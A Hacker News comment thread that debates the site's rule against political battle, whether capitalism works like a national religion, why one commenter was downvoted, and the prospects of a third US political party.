Please don't use Hacker News for political or ideological battle. It tramples curiosity.


Discouraging political discussions is a very political thing in itself. The comment we are discussing might not be a great example of encouraging curiosity, but being the person that says "don't be so political" is complacent and ignorant. We arrived at the current situation due to political decisions and a political process.

I am not accusing you of being that person, not anyone else. I am just tired of people not seeing that upholding the current situation is as political as criticizing it. This discussion made me try to put it in words.


But part of a curiosity-based discussion is also trying to satisfy the curiosity of others by providing answers. The most insightful and thought-provoking of those can sometimes be rather “political”, because the things we think about and are curious about are.


this doesn't read like a battle, though. one could argue that opinions that run counter to the generally accepted norm are inherently good for curiosity.


It is indeed incredible. As I said, you cannot “criticize the profit” in the USA without losing social standing. Capitalism is a national religion because people think the only alternative is socialism (collective ownership of the means of production - which btw isn’t scary on small levels) and the USA fought a cold war with USSR for decades.

That’s why there will be a third party in the USA that unites disaffected progressives on the left with disaffected paleoconservatives on the right. A lot of people are fed up with the divisions.

I welcome counterpoints and debate but as you can see — there are just silent downvotes instead


You're probably being downvoted because even if your critique might be thoughtful at some parts, it is also quite snarky and smarmy at the beginning, and sounds like it's posing an ideological battle. Starting at the third sentence, "This is what capitalism looks like, folks." In fact, you're still doing it, "Capitalism is a national religion..."

Do you think people on HN want to engage with your comments when you're saying they're foolishly clinging to a religious belief?

By the way, this was a decent point: "[W]e are all depending on your integrity and ability to rebuff life-changing amounts of money to not mine our data." Maybe this thread would be different if you stayed with points like that instead of accusing people of harboring religious beliefs that pulls the wool over our eyes, preventing us from seeing things your way.


> Do you think people on HN want to engage with your comments when you're saying they're foolishly clinging to a religious belief?

To be fair you inserted "foolishly clinging", and are now blaming them for something they did not actually say.'

Capitalism is highly akin to religion - they're not the first and will not be the last to draw that comparison, and plenty of words have already been written on the topic. If your response to reading "capitalism is a national religion" is to assume you're being insulted, perhaps consider that the statement may be more true than you think.


Off topic, but....

There is unlikely to be a third party in USA as the system is designed to have two parties.

There may be a third party that forces the Dems and GoP to unite, back to two...




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: